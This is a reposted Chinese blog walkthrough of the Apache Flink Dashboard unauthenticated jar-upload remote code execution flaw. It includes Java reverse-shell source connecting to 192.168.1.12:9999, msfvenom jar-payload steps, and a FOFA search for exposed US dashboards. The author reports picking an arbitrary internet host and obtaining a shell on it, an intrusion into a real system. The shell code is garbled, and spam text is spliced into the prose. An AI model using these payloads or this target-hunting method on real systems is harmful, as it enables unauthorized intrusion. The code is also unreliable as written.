这篇文章给大家介绍apache flink任意jar包上传导致远程代码执行的示例分析,内容非常详细,感兴趣的小伙伴们可以参考借鉴,希望对大家能有所帮助。2019年11月11号,安全工程师Henry Chen披露了一个Apache Flink未授权上传jar包导致远程代码执行的漏洞。由于Apache Flink Dashboard 免费云主机域名默认无需认证即可访问,通过上传恶意jar包并触发恶意代码执行,从而获取shell。
(1) 提前安装好java(需要java8以上)(2) 下载flink-1.9.1下载地址:https://www.apache.org/dyn/closer.lua/flink/flink-1.9.1/flink-1.9.1-bin-scala_2.11.tgz(3) 解压下载的压缩包:(4) 进去到解压后的目录中,来到其bin目录下:(5) 启动flink:(6) 浏览器访问验证(默认端口为8081):http://172.26.1.108:8081出现上图即搭建成功.(7) 设置开机自启(这里折腾了好久,一直起不来.直接source /etc/rc.d/rc.local可以启动,但是重启后并不会启动flink,最后找到了解决方法)开机自启设置jar包制作步骤:(1) 参考https://klionsec.github.io/2016/09/27/revese-shell/#menu文中给出的利用java反弹shell记得修改ip和端口:代码:package shell;public class Revs {
/** * @param args * @throws Exception */
public static void main(String[] args) throws Exception {
// TODO Auto-generated method stub
Runtime r = Runtime.getRuntime();
String cmd[]= {“/bin/bash”,”-c”,”exec 5/dev/tcp/192.168.1.12/9999;
cat &5 >&5; done”};
Process p = r.exec(cmd);
p.waitFor();
}}(2) 利用eclipse将其导出为一个可执行的jar包: a. 点击 File–>Export(导出)b.然后选择java–>Runnable JAR filec.然后选择对应的java项目和导出路径以及导出文件名图片这样就生成了一个反弹shell的jar包msf生成jar马:(1) 利用msfvenom来生成一个jar马:(2) 打开msf的监听模块,并监听9999端口(要与我们jar马设置的端口一致)
(3) 上传我们生成的jar马并提交后(这部分操作参考下面的复现),可以看到我们成功接收到shell:本地复现:(1) 访问目标:(2) 点击Submit New job,打开上传jar包的页面:(3) 点击Add New选择我们制作好的jar包:(4) 我们的机器上监听好端口(我们制作的jar包是直接反弹shell的)(5) 点击我们刚刚上传的jar包:(6) 然后点击Submit即可,可以看到我们已经成功接收到了shell:互联网站点:fofa关键词:”apache-flink-dashboard” && country=”US”(1) 随便找一个目标:(2) 点击Submit new Job,可以看到其可以允许我们上传jar包(3) 利用flink上传jar包的功能将我们的jar包上传:(4) 上传后,我们在我们的vps上监听好端口(5) 然后回到浏览器,选中我们刚刚上传的jar包,然后点击Submitting提交,可以看到我们的vps已经成功接收到了shell建议设置防火墙策略,仅允许白名单ip访问 apache flink服务,并在Web代理(如apache httpd)中增加对该服务的digest认证。时刻关注官网,等待新版本或补丁更新关于apache flink任意jar包上传导致远程代码执行的示例分析就分享到这里了,希望以上内容可以对大家有一定的帮助,可以学到更多知识。如果觉得文章不错,可以把它分享出去让更多的人看到。
今天给大家介绍一下远程代码执行漏洞实例分析。文章的内容小编觉得不错,现在给大家分享一下,觉得有需要的朋友可以了解一下,希望对大家有所帮助,下面跟着小编的思路一起来阅读吧。mongo-express是一个MongoDB的Admin Web管理界面,使用NodeJ…
免责声明:本站发布的图片视频文字,以转载和分享为主,文章观点不代表本站立场,本站不承担相关法律责任;如果涉及侵权请联系邮箱:360163164@qq.com举报,并提供相关证据,经查实将立刻删除涉嫌侵权内容。